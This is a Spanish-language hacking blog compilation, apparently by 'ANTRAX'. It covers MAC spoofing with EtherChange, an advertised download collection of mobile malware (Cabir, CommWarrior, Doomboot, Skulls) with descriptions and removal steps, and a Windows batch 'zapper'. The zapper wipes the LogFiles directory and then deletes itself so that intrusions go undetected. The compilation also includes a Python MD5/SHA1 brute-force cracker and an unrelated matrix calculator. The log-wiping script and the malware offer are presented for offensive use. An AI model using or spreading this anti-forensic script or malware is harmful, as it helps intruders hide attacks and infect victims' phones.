Cambiar la MAC digital de una PC con EtherChange [Windows]


    * Primero que nada necesitaremos el EtherChange

Descarga oficial:
http://www.ntsecurity.nu/downloads/etherchange.exe
Mirror:
http://elgeek.com/files/etherchange.exe

    * Ahora se procede a ejecutar el programa, y tendremos algo asi:
1. Seleccionamos el adaptador de red correspondiente (placa de red).
2. Tipeamos “1? para especificar una nueva dirección ethernet, o sea MAC Address.
3. Escribimos la nueva MAC Addres sin comas, guiones o cualquier tipo de separadores.

Listo! Ahora solo resta reiniciar el ordenador para habilitar la nueva MAC Address.

Malwares para Dispositivos Moviles


Bueno, de manera completa, les expondre una coleccion de Malwares que tengo para telefonos celulares.

Voy a comenzar mostrandoles este *.GIF Que apaga los celulares Sony Ericsson.

Asi como la ven, es como se ve en el celular, solo que cuando termina de hacer todo el proceso de salir y desaparecer el telefono se apaga.

Segun investigaciones propias, esta imagen fue realizada con el GIF Builder. Programa que se utiliza en MAC para poder agregarle a los *.GIF un Script.

Como todos sabemos, la mayoria de los celulares modernos acepta Java, es por eso que esta imagen fue compilada con un tipo de "Shutdown" en java.

Otro dato importante, es que este "Shutdown" Fue sacado del BT Info, o Bluetooth Hacker.

..:: VIRUS PARA CELULARES ::..

Unicos en la red. la coleccion mas grande de virus para celulares de la red.

Contenido:
CommWarrior: Todas las versiones (8 en total)
Cabir: Todas las Versiones (19 en total)
Doombot: 4 versiones
Skudo: 2 versiones
Skull: Todas las versiones (14 en total)
Otros: varios virus desconocidos hasta para mi mas el agregado del Source code de algunos

--Descripción de los virus--

.......::::::Cabir:::::::......
tipo: virus-gusano
so : Symbian

Cabir es, concretamente, un gusano que utiliza las señales bluetooth, y ya se ha expandido por 20 países. Reduce drásticamente la potencia de los teléfonos infectados, y las variantes más dañinas pueden desactivar el terminal, que debe ser reiniciado en un establecimiento especializado.

Cabir se propaga en forma de un archivo llamado Caribe.sis, que se instala automáticamente en el sistema cuando el usuario acepta la transmisión,El virus vuelve a ejecutarse desde otra ubicación, y el teléfono es reiniciado. Igualmente, el virus se ejecutará cuando el teléfono sea encendido, y seguirá activo a pesar de que sea borrado del directorio APPS.

*DESINFECCION:

Para remover el gusano de un equipo infectado, se deberá instalar un administrador de archivos y habilitar la opción para ver archivos en el directorio de sistema.

Luego, buscar en unidades de la A: a la Y: directorios de nombre SystemAppsCaribe. Una vez encontrado deben ser eliminados los siguientes archivos:

Caribe.App
Caribe.Rsc
Flo.Mdl

Buscar también el directorio SystemSymbiansecuredataCaribesecuritymanager y eliminar allí los archivos:

Caribe.App
Caribe.Rsc
Caribe.Sis

Bajo el directorio SystemRecogs eliminar el archivo Flo.Mdl.

Dado que el archivo Caribe.Rsc no puede ser eliminado mientras se esté ejecutando, se deberán eliminar todos los otros archivos, luego reiniciar el equipo y por último eliminar dicho archivo.

Finalmente, eliminar el archivo Caribe.Sis del directorio SystemInstalls.

....::::::Commwarrior::::::..... 
tipo: virus-gusano
so : Symbian

Este gusano poseé las mismas caracteristicas que el cabir pero puede reproducirse por
SMS, MMS, MMS y mandar datos como texto, videos, imagenes etc.
Es el primer gusano con esta capacidad

En algunos modelos de teléfonos, el gusano cambia el logo de la operadora telefónica, por uno propio con el siguiente texto:

Infected by Commwarrior

El gusano tambien puede abrir una página Web con el navegador del celular

modelos afectados:

----Symbian OS Series 60----

Nokia 3650, 3600
Nokia 3660, 3620
Nokia 6600
Nokia 6620
Nokia 7610
Nokia 7650
Nokia N-Gage
Panasonic X700
Sendo X
Siemens SX1

*DESINFECCION:

Eliminación manual

Para eliminar el gusano de un dispositivo infectado, sigue estos pasos:

1. Selecciona la opción "CommWarrior" de la lista de aplicaciones.

2. Selecciona "Cancel" (Exit CommWarrior?) y confirma con "Yes".

3. Borra la carpeta "CommWarrior" utilizando el manejador de archivos (file manager):

C:systemappsCommWarrior


Aunque el sistema por defecto se instala en la unidad C, esto puede cambiar en algunos casos.

Si no puedes borrar estos archivos, apaga y vuelva a encender tu dispositivo.

.....:::::Coomboot::::::.....

tipo: troyano
so : Symbian


Doomboot es un troyano que al ejecutarlo automaticamente se descarga el gusano Commwarrior
Doomboot provoca que los teléfonos no se reinicien como debe. Esta diversidad de efectos virales dañan a los usuarios de smartphones de la serie 60 de Symbian, especialmente a los usuarios que utilizan juegos piratas.

Doomboot provoca que el teléfono no pueda reiniciar y Commwarrior provoca tráfico Bluetooth que hace que el teléfono se quede sin bateria en menos de una hora. Si alguien se infecta de Doomboot tiene menos de una hora para darse cuenta y desinfetcarse, de lo contrario perderá todos sus datos

Doomboot puede distribuirse de dos formas, por mensajes MMS y por menajes Bluetooth

*DESINFECCION:

1. Elimina los siguientes ficheros que localizarás en las ubicaciones indicadas:

* C:Etel.dll
* C:etelmm.dll
* C:etelpckt.dll
* C:etelsat.dll
* C:systemappsCabir AA detectedCabir AA detected EVS is disinfecting re-boot your phone.rsc - 0 bytes
* C:systemappsCabir AA detectedCabir AA detected EVS is disinfecting re-boot your phone.MBM - 0 bytes
* C:systemappsCabir AA detectedCabir AA detected EVS is disinfecting re-boot your phone.app - 0 bytes
* C:systemappsCabir AA detectedCabir AA detected EVS is disinfecting re-boot your phone.app - 0 bytes
* C:systemappsEVSEVS.aif - 3,245 bytes
* C:systemappsEVSEVS.app - 30,368 bytes
* C:systemappsEVSEVS.rsc - 671 bytes
* C:systemappsEVSEVS_caption.rsc - 60 bytes
* C:systemappsEVSexovirusstop.mbm - 3,961 bytes
* C:systemappsvelascomarcos.mdl - 0 bytes
* C:systemappsvelascovelasco.app - 0 bytes
* C:systemappsvelascovelasco.rsc - 0 bytes

2. Reinicia tu terminal y explora todo la unidad C: con un antivirus para asegurarte de la eliminación del troyano.

.....::::::skudoo::::::.....

tipo: troyano
so : Symbian

Askudoo fecta a dispositivos móviles y opera sobre dispositivos con plataforma Windows CE, J2ME, Symbian, iPhone, Blackberry o Android. Puede ser recibido a través de MMS, vía Bluetooth o descargado a través de páginas web.

es un troyano diseñado para dispositivos móviles, que llegando bajo una apariencia inofensiva, permite en realidad llevar a cabo intrusiones y ataques contra el mismo.

Skudoo no se propaga automáticamente por sus propios medios, pero puede ser recibido a través de mensajes MMS, Bluetooth o ser descargado desde sitios web con contenido malicioso.

.....::::::skulls::::::.....
tipo: troyano
so : Symbian

skulls es un troyano que se camuflagea con el nombre Extended Theme Manager,
induce al usuario a creer que al ejecutarlo podrá crear sus propios temas en su teléfono móvil. Sin embargo, Skulls cambia todos los íconos del teléfono con imágenes de calaveras.

Asimismo, las aplicaciones instaladas en el teléfono no pueden ser usadas una vez que Skulls se ha ejecutado.
Skulls se ha propagado mediante sitios de shareware para teléfonos Symbian.


*DESINFECCION:

Para remover el gusano de un equipo infectado, se deberá instalar un administrador de archivos y habilitar la opción para ver archivos en el directorio de sistema.

1. Ir a c:Systemappsappinst y borrar
c:Systemappsappinst
c:Systemappsmenu
c:Systemappsmce
2. Abre el menú de aplicaciones
3. Busca navegador web
4. Descargar F-Secure Mobile Anti-Virus para su dispositivo
http://www.f-secure.com/wireless/download/
o con el propio móvil: http://mobile.f-secure.com
5. Instale F-Secure Mobile Anti-Virus
6. Inicie F-Secure móvil Anti-Virus
7. Analice su dispositivo para eliminar los archivos que se usan para bloquear el sistema de aplicaciones críticas
8. Ir al gestor de aplicaciones
9. Desinstalar "Extended Theme.sis"

..:: ANTIVIRUS PARA MOVILES ::..



En el paquete estan estos antivirus:

* Anti CommaWarrior
* AntiCabir
* Avira Antivirus Mobile
* BitDefender Antivirus
* Bull Guard Antivirus
* Commander Antivirus
* Disinfector
* Eset Mobile Antivirus
* Exo Virus Stop v 1.0.16
* F-Secure Antivirus
* F-Secure Mobile Anti-Virus 2.0.10431 [Nokia 6600,6670,7610]
* F-Secure Mobile Anti-Virus 2.10.110401 [6630,etc]
* Jiangmin Antivirus
* Kaspersky Antivirus [varios]
* McAfee VirusScan
* NetQin Antivirus [varios]
* Norton Antivirus
* Panda Antivirus
* PhoneGuard 5.15209 con serial
* SimWorks Antivirus
* Smobile VirusGuard
* Symantec Antivirus
* TrendMicro Mobile Security [varios]
* Virus Scan For Sony Ericson
* Zeon Antivirus

 

Zapper para Windows [Batch]

Cada vez que scanneamos, hacemos una intrusion, un ping  una pc o una ip, esta deja un registro en C:\Windows\System32\LogFiles
Los Zappers sirven para borrar esos registros o logs y asi que no se sospeche o no tengan formas de descubrirnos.

Mirando un poco el codigo de Panzer de IH. Decidi modificarlo un poco, ya que note que en Windows 7 no funcionaria.
Su Codigo es el siguiente:
@echo off
pushd %systemroot%\system32\logfiles
del /f /q *.evt
del /f /q *.log
exit
Lo que hace es dirigirse al directorio de logfiles y borrar todos los *.evt y *.log que hay en ella. Pero note que en Windows 7, crea directorios y dentro de estos directorio, archivos con extensiones *.txt, *.evl entre otras...

He optado por modificar un poco el codigo:
@echo off
rd /s /q %systemroot%\Windows\System32\LogFiles
md %systemroot%\Windows\System32\LogFiles
del /f /q %0
exit
Lo que hace este codigo es eliminar la carpeta LogFiles con todo su arbol (Directorios y Archivos) y la vuelve a crear vacia. Despues de hacer estas dos cosas, se autoelimina el zapper para evitar ser detectado.

ANTRAX

Crackeador MD5 por Fuerza bruta

Aca les dejo este crackeador por fuerza bruta. Funciona de maravilla aunque no es muy rapido por el lenguaje. Quizas les sirva como ejemplo.

Modo de uso:
Cracker.py -t md5 -h e10adc3949ba59abbe56e057f20f883e -w 1234567890 -a 9 -i 3 -v
Comandos:
-t: Tipo de Hash
-h: Hash a Crackear
-w: Teclas a usar 
-a: Maximo de Caracteres
-i: Minimo de Caracteres
-v: Modo Hacking
Codigo Fuente:
import sys , string , time
def main():
    "Main"
    title = "MD5 Cracker Brute Force"
    print "\n" + title.center(45) + "\n"
 
def usage():
    "Usage"
    print "[+] Ejemplo : Cracker.py -t md5 -h e10adc3949ba59abbe56e057f20f883e -w 1234567890 -a 9 -i 3 -v"
 
def usagelarge():
    "Usage Large"
    print "\n  Forma de Uso:"
    print "\n  [+]Ejemplo: Cracker.py -t md5 -h e10adc3949ba59abbe56e057f20f883e -w 1234567890 -a 9 -i 3 -v"
    print ""
    print "\t[Comandos]"
    print "\t   -t: Tipo de Hash"
    print "\t   -h: Hash a Crackear"
    print "\t   -w: Teclas a usar" 
    print "\t   -a: Maximo de Caracteres"
    print "\t   -i: Minimo de Caracteres"
    print "\t   -v: Modo Hacking\n"
 
def timer():
    "Time"
    now = time.localtime(time.time())
    return time.asctime(now)
 
if '__main__' == __name__ :
 
    if len(sys.argv) <= 5:
        main()
        usagelarge()
        sys.exit(1)
 
    hhash = words = maxw = minw = typeh = ""
    verbose = 0
 
    for arg in sys.argv[1:]:
        try:
            if arg.lower() == "-v" or arg.lower() == "-verbose":
                    verbose = 1
            if arg.lower() == "-h" or arg.lower() == "-hash":
                    hhash = sys.argv[int(sys.argv[1:].index(arg))+2]
            if arg.lower() == "-a" or arg.lower() == "-max":
                    maxw = sys.argv[int(sys.argv[1:].index(arg))+2]
            if arg.lower() == "-i" or arg.lower() == "-min":
                    minw = sys.argv[int(sys.argv[1:].index(arg))+2]
            if arg.lower() == "-w" or arg.lower() == "-words":
                    words = sys.argv[int(sys.argv[1:].index(arg))+2]
            if arg.lower() == "-t" or arg.lower() == "-type":
                    typeh = sys.argv[int(sys.argv[1:].index(arg))+2]
        except(IndexError):
            print "[+] Comandos Obligatorios -t(Tipo de Hash) -h(Hash) -w(Teclas) -a(Maximo de teclas) -a(Minimo de teclas)"
            usage()
            sys.exit(1)
 
    if minw == "" : minw = '1'
 
    main()
    for args in (typeh, hhash, words, maxw, minw):
        try:
            if args != "":
                if args == typeh :
                    if typeh.lower() != 'md5' or 'sha':
                        if typeh.lower() == "md5" :
                            typeh = '1'
                            print "[+] Tipo de Hash : MD5"
                        elif typeh.lower() == "sha" :
                            typeh = '2'
                            print "[+] Tipo de Hash : SHA1"
                    else:
                        print "[+] Tipo Invalido de Hash"
                        sys.exit(1)
                if args == hhash :
                    if typeh == '1' :
                        if len(hhash) == 32 :
                            print "[+] MD5 Hash : " + hhash
                        else:
                            print "[+] Tipo Invalido de Hash"
                            sys.exit(1)
                    if typeh == '2' :
                        if len(hhash) == 40 :
                            print "[+] SHA1 Hash : " + hhash
                        else:
                            print "[+] SHA1 Invalido"
                            sys.exit(1)
                if args == words :
                    print "[+] Teclas a usar : " + words
                if args == maxw :
                    if maxw.isdigit() != False :
                        if int(maxw) >= 15 :
                            print "[+] Maximo de Digitos : 15 : " + maxw
                            sys.exit(1)
                        else:
                            if int(maxw) > int(minw):
                                print "[+] Maximo de Digitos : " + maxw
                            else:
                                print "[+] El Maximo de Digitos debe ser mayor al Minimo de Digitos"
                                sys.exit(1)
                    else:
                        print "[+] Maximo de Teclas = Digitos"
                        sys.exit(1)
                if args == minw :
                        if minw.isdigit() != False :
                            if int(minw) < int(maxw) :
                                print "[+] Minimo de Digitos : " + minw
                            else:
                                print "[+] El minimo de Digitos debe ser menor al maximo de Digitos"
                                sys.exit(1)
                        else:
                            print "[+] Minimo de Teclas = Digitos"
                            sys.exit(1)
            else:
                print "[+] Comandos Obligatorios -t(Tipo de Hash) -h(Hash) -w(Teclas) -a(Maximo de teclas) -a(Minimo de teclas)"
                usage()
                sys.exit(1)
        except(ValueError):
            print "[+] Formato de comandos erroneo"
            sys.exit(1)
 
    f = open("CRACK.py",'w')
    f.write("#!/usr/bin/env python\n")
    if (typeh == '1') : f.write("import sys , md5 , string , time\n")
    if (typeh == '2') : f.write("import sys , sha , string , time\n")
    tab = '\t'
    f.write("def timer():\n")
    f.write(tab + "now = time.localtime(time.time())\n")
    f.write(tab + "return time.asctime(now)\n")
    f.write("def crackhash():\n")
 
    i = 0 ; inwords = ""
    f.write(tab + "hashh = '" + hhash.lower() +"'\n")
    f.write(tab + "try:\n")
 
    #print words
    for i in words:
        if i == str(words[int(len(words)-1)]) : 
            inwords += "'" + i + "'"
            break
        inwords += "'" + i + "',"
    #print inwords
 
    i = int(minw) ; iwords = "" ; a = 0
 
    while (int(i) != int(maxw) + 1) :
 
        for a in range(i):
            if int(i) != (int(a) + 1):
                iwords += "i" + str(i) + str(a) + " + "
            else:
                 iwords += "i" + str(i) + str(a)
 
            data = (int(a + 2) * tab + "for i" + str(i) + str(a) + " in (" + inwords + "):\n")
            f.write(data)
 
        f.write(int(i + 2) * tab + "word = '' ; value = ''\n")
        f.write(int(i + 2) * tab + "word = " + iwords + "\n")
 
        if typeh == '1' : f.write(int(i + 2) * tab + "hash = md5.new()\n")
 
        if typeh == '2' : f.write(int(i + 2) * tab + "hash = sha.new()\n")
 
        f.write(int(i + 2) * tab + "hash.update(str(word))\n")
        f.write(int(i + 2) * tab + "value = hash.hexdigest()\n") 
        if verbose == 1 : f.write(int(i + 2) * tab + "print " + iwords + ' + " : " + str(value)\n')
        f.write(int(i + 2) * tab + "if str(hashh) == str(value):\n")
        f.write(int(i + 3) * tab + "raise Exception\n")
        iwords = ""
        i += 1
 
    f.write(tab + "except(Exception):")
    f.write('\n'+ 2 * tab + "print '********************  Hash Crackeado ' + 20 * '*'")
    f.write('\n' + 2 * tab + "print '[+] HASH :', hashh")
    f.write('\n' + 2 * tab + "print '[+] PASS :', str(word)")
    f.write('\n' + 2 * tab + "print '[+] Hora de finalizacion :', timer()")
    f.write('\n' + 2 * tab + "sys.exit(1)")
    f.write('\n' + tab + "except(KeyboardInterrupt):")
    f.write('\n' + 2 * tab + "print '[+] Process Ended ',timer()")
    f.write('\n' + 2 * tab + "sys.exit(1)")
    f.write("\ncrackhash()")
    f.close()
 
    print '[+] Hora de inicio : ', timer()
 
    import CRACK
    CRACK.crackhash()

Calculadora de Matrices en Python

Hola a todos. Estaba aburrido y decidi codear algo util en Python. Hice esta calculadora que resuelve operaciones con matrices.


Codigo Fuente:
#/==================================\
#  Calculadora de matrices en Python
#  CODED BY ANTRAX
#  antrax.dc0de [at] gmail [dot] com
#\==================================/

#Menu

salir = "s"

while salir == "s":
    
    print "    --=** MENU **=--"
    print ""
    print "[1] Suma de Matrices"
    print "[2] Resta de Matrices"
    print "[3] Multiplicacion de Matrices"
    print "[4] Multiplicacion por un Numero"
    print "[5] Transpuesta de una Matriz"
    print ""
    
#Modelo de la Matriz
    print "Modelo de la Matriz"
    print ""
    print   "[F1C1 F1C2 F1C3]"
    print   "[F2C1 F2C2 F2C3]"
    print   "[F3C1 F3C2 F3C3]"
    print ""

#Opcion "1" SUMA
    x=input("Ingrese Opcion: ")
    print ""
    if x==1:

#Matriz "A"
        print "Ingrese la Matriz A"
        print ""
        af1c1=int(raw_input("Ingrese el valor de F1C1: "))
        af1c2=int(raw_input("Ingrese el valor de F1C2: "))
        af1c3=int(raw_input("Ingrese el valor de F1C3: "))
        af2c1=int(raw_input("Ingrese el valor de F2C1: "))
        af2c2=int(raw_input("Ingrese el valor de F2C2: "))
        af2c3=int(raw_input("Ingrese el valor de F2C3: "))
        af3c1=int(raw_input("Ingrese el valor de F3C1: "))
        af3c2=int(raw_input("Ingrese el valor de F3C2: "))
        af3c3=int(raw_input("Ingrese el valor de F3C3: "))

#Visualizacion Matriz "A"
        print ""
        print "MATRIZ A"
        print ""
        print "[", af1c1, af1c2, af1c3, "]"
        print "[", af2c1, af2c2, af2c3, "]"
        print "[", af3c1, af3c2, af3c3, "]"
        print ""

#Matriz "B"
        print "Ingrese la Matriz B"
        print ""
        bf1c1=int(raw_input("Ingrese el valor de F1C1: "))
        bf1c2=int(raw_input("Ingrese el valor de F1C2: "))
        bf1c3=int(raw_input("Ingrese el valor de F1C3: "))
        bf2c1=int(raw_input("Ingrese el valor de F2C1: "))
        bf2c2=int(raw_input("Ingrese el valor de F2C2: "))
        bf2c3=int(raw_input("Ingrese el valor de F2C3: "))
        bf3c1=int(raw_input("Ingrese el valor de F3C1: "))
        bf3c2=int(raw_input("Ingrese el valor de F3C2: "))
        bf3c3=int(raw_input("Ingrese el valor de F3C3: "))
        print ""

#Visualizacion Matriz "B"
        print "MATRIZ B"
        print""
        print "[", bf1c1, bf1c2, bf1c3, "]"
        print "[", bf2c1, bf2c2, bf2c3, "]"
        print "[", bf3c1, bf3c2, bf3c3, "]"
        print ""
    
#Operacion Suma
        rf1c1 = af1c1 + bf1c1
        rf1c2 = af1c2 + bf1c2
        rf1c3 = af1c3 + bf1c3
        rf2c1 = af2c1 + bf2c1
        rf2c2 = af2c2 + bf2c2
        rf2c3 = af2c3 + bf2c3
        rf3c1 = af3c1 + bf3c1
        rf3c2 = af3c2 + bf3c2
        rf3c3 = af3c3 + bf3c3
    
#Visualizacion Matriz "Resultado"
        print "MATRIZ Resultado"
        print ""
        print "[", rf1c1, rf1c2, rf1c3, "]"
        print "[", rf2c1, rf2c2, rf2c3, "]"
        print "[", rf3c1, rf3c2, rf3c3, "]"
        print ""
    
#Opcion "2" RESTA
    elif x==2:

#Matriz "A"
        print "Ingrese la Matriz A"
        print ""
        af1c1=int(raw_input("Ingrese el valor de F1C1: "))
        af1c2=int(raw_input("Ingrese el valor de F1C2: "))
        af1c3=int(raw_input("Ingrese el valor de F1C3: "))
        af2c1=int(raw_input("Ingrese el valor de F2C1: "))
        af2c2=int(raw_input("Ingrese el valor de F2C2: "))
        af2c3=int(raw_input("Ingrese el valor de F2C3: "))
        af3c1=int(raw_input("Ingrese el valor de F3C1: "))
        af3c2=int(raw_input("Ingrese el valor de F3C2: "))
        af3c3=int(raw_input("Ingrese el valor de F3C3: "))
        print ""
    
#Visualizacion Matriz "A"
        print "MATRIZ A"
        print ""
        print "[", af1c1, af1c2, af1c3, "]"
        print "[", af2c1, af2c2, af2c3, "]"
        print "[", af3c1, af3c2, af3c3, "]"
        print ""
    
#Matriz "B"
        print "Ingrese la Matriz B"
        print ""
        bf1c1=int(raw_input("Ingrese el valor de F1C1: "))
        bf1c2=int(raw_input("Ingrese el valor de F1C2: "))
        bf1c3=int(raw_input("Ingrese el valor de F1C3: "))
        bf2c1=int(raw_input("Ingrese el valor de F2C1: "))
        bf2c2=int(raw_input("Ingrese el valor de F2C2: "))
        bf2c3=int(raw_input("Ingrese el valor de F2C3: "))
        bf3c1=int(raw_input("Ingrese el valor de F3C1: "))
        bf3c2=int(raw_input("Ingrese el valor de F3C2: "))
        bf3c3=int(raw_input("Ingrese el valor de F3C3: "))
        print ""

#Visualizacion Matriz "B"
        print "MATRIZ B"
        print ""
        print "[", bf1c1, bf1c2, bf1c3, "]"
        print "[", bf2c1, bf2c2, bf2c3, "]"
        print "[", bf3c1, bf3c2, bf3c3, "]"
        print ""
    
#Operacion Resta    
        rf1c1 = af1c1 - bf1c1
        rf1c2 = af1c2 - bf1c2
        rf1c3 = af1c3 - bf1c3
        rf2c1 = af2c1 - bf2c1
        rf2c2 = af2c2 - bf2c2
        rf2c3 = af2c3 - bf2c3
        rf3c1 = af3c1 - bf3c1
        rf3c2 = af3c2 - bf3c2
        rf3c3 = af3c3 - bf3c3

#Visualizacion Matriz "Resultado"
        print "MATRIZ Resultado"
        print ""
        print "[", rf1c1, rf1c2, rf1c3, "]"
        print "[", rf2c1, rf2c2, rf2c3, "]"
        print "[", rf3c1, rf3c2, rf3c3, "]"
        print ""

#Opcion "3" MULTIPLICACION
    elif x==3:
    
#Matriz "A"
        print "Ingrese la Matriz A"
        print ""
        af1c1=int(raw_input("Ingrese el valor de F1C1: "))
        af1c2=int(raw_input("Ingrese el valor de F1C2: "))
        af1c3=int(raw_input("Ingrese el valor de F1C3: "))
        af2c1=int(raw_input("Ingrese el valor de F2C1: "))
        af2c2=int(raw_input("Ingrese el valor de F2C2: "))
        af2c3=int(raw_input("Ingrese el valor de F2C3: "))
        af3c1=int(raw_input("Ingrese el valor de F3C1: "))
        af3c2=int(raw_input("Ingrese el valor de F3C2: "))
        af3c3=int(raw_input("Ingrese el valor de F3C3: "))
        print ""

#Visualizacion Matriz "A"
        print "MATRIZ A"
        print ""
        print "[", af1c1, af1c2, af1c3, "]"
        print "[", af2c1, af2c2, af2c3, "]"
        print "[", af3c1, af3c2, af3c3, "]"
        print ""
    
#Matriz "B"
        print "Ingrese la Matriz B"
        print ""
        bf1c1=int(raw_input("Ingrese el valor de F1C1: "))
        bf1c2=int(raw_input("Ingrese el valor de F1C2: "))
        bf1c3=int(raw_input("Ingrese el valor de F1C3: "))
        bf2c1=int(raw_input("Ingrese el valor de F2C1: "))
        bf2c2=int(raw_input("Ingrese el valor de F2C2: "))
        bf2c3=int(raw_input("Ingrese el valor de F2C3: "))
        bf3c1=int(raw_input("Ingrese el valor de F3C1: "))
        bf3c2=int(raw_input("Ingrese el valor de F3C2: "))
        bf3c3=int(raw_input("Ingrese el valor de F3C3: "))
        print ""

#Visualizacion Matriz "B"
        print "MATRIZ B"
        print ""
        print "[", bf1c1, bf1c2, bf1c3, "]"
        print "[", bf2c1, bf2c2, bf2c3, "]"
        print "[", bf3c1, bf3c2, bf3c3, "]"
        print ""
    
#Operacion Multiplicacion    
        rf1c1= (af1c1 * bf1c1) + (af1c2 * bf2c1) + ( af1c3 * bf3c1)
        rf1c2= (af1c1 * bf1c2) + (af1c2 * bf2c2) + ( af1c3 * bf3c2)
        rf1c3= (af1c1 * bf1c3) + (af1c2 * bf2c3) + ( af1c3 * bf3c3)
        rf2c1= (af2c1 * bf1c1) + (af2c2 * bf2c1) + ( af2c3 * bf3c1)
        rf2c2= (af2c1 * bf1c2) + (af2c2 * bf2c2) + ( af2c3 * bf3c2)
        rf2c3= (af2c1 * bf1c3) + (af2c2 * bf2c3) + ( af2c3 * bf3c3)
        rf3c1= (af3c1 * bf1c1) + (af3c2 * bf2c1) + ( af3c3 * bf3c1)
        rf3c2= (af3c1 * bf1c2) + (af3c2 * bf2c2) + ( af3c3 * bf3c2)
        rf3c3= (af3c1 * bf1c3) + (af3c2 * bf2c3) + ( af3c3 * bf3c3)

#Visualizacion Matriz "Resultado"
        print "MATRIZ Resultado"
        print ""
        print "[", rf1c1, rf1c2, rf1c3, "]"
        print "[", rf2c1, rf2c2, rf2c3, "]"
        print "[", rf3c1, rf3c2, rf3c3, "]"
        print ""

#Opcion "4" MULTIPLICACION POR UN NUMERO
    elif x==4:
        z=int(raw_input("Ingrese el numero para multiplicar con la matriz: "))
        print ""
        
#Matriz "A"
        print "Ingrese la Matriz A"
        print ""
        af1c1=int(raw_input("Ingrese el valor de F1C1: "))
        af1c2=int(raw_input("Ingrese el valor de F1C2: "))
        af1c3=int(raw_input("Ingrese el valor de F1C3: "))
        af2c1=int(raw_input("Ingrese el valor de F2C1: "))
        af2c2=int(raw_input("Ingrese el valor de F2C2: "))
        af2c3=int(raw_input("Ingrese el valor de F2C3: "))
        af3c1=int(raw_input("Ingrese el valor de F3C1: "))
        af3c2=int(raw_input("Ingrese el valor de F3C2: "))
        af3c3=int(raw_input("Ingrese el valor de F3C3: "))
        print ""

#Visualizacion Matriz "A"
        print "MATRIZ A"
        print ""
        print "[", af1c1, af1c2, af1c3, "]"
        print "[", af2c1, af2c2, af2c3, "]"
        print "[", af3c1, af3c2, af3c3, "]"
        print ""

#Operacion Multiplicacion por numero

        rf1c1 = z * af1c1
        rf1c2 = z * af1c2
        rf1c3 = z * af1c3
        rf2c1 = z * af2c1
        rf2c2 = z * af2c2
        rf2c3 = z * af2c3
        rf3c1 = z * af3c1
        rf3c2 = z * af3c2
        rf3c3 = z * af3c3

#Visualizacion Matriz "Resultado"
        print "MATRIZ Resultado"
        print ""
        print "[", rf1c1, rf1c2, rf1c3, "]"
        print "[", rf2c1, rf2c2, rf2c3, "]"
        print "[", rf3c1, rf3c2, rf3c3, "]"
        print ""

#Opcion "5" Transpuesta
    elif x==5:
        
#Matriz "A"
        print "Ingrese la Matriz A"
        print ""
        af1c1=int(raw_input("Ingrese el valor de F1C1: "))
        af1c2=int(raw_input("Ingrese el valor de F1C2: "))
        af1c3=int(raw_input("Ingrese el valor de F1C3: "))
        af2c1=int(raw_input("Ingrese el valor de F2C1: "))
        af2c2=int(raw_input("Ingrese el valor de F2C2: "))
        af2c3=int(raw_input("Ingrese el valor de F2C3: "))
        af3c1=int(raw_input("Ingrese el valor de F3C1: "))
        af3c2=int(raw_input("Ingrese el valor de F3C2: "))
        af3c3=int(raw_input("Ingrese el valor de F3C3: "))
        print ""

#Visualizacion Matriz "A"
        print "MATRIZ A"
        print ""
        print "[", af1c1, af1c2, af1c3, "]"
        print "[", af2c1, af2c2, af2c3, "]"
        print "[", af3c1, af3c2, af3c3, "]"
        print ""

#Visualizacion Matriz "Resultado"
        print "MATRIZ Transpuesta"
        print ""
        print "[", af1c1, af2c1, af3c1, "]"
        print "[", af1c2, af2c2, af3c2, "]"
        print "[", af1c3, af2c3, af3c3, "]"
        print ""
    salir = raw_input("Desea realizar otra operacion?(S/N) ")
    print ""


Tambien es compatible con Android.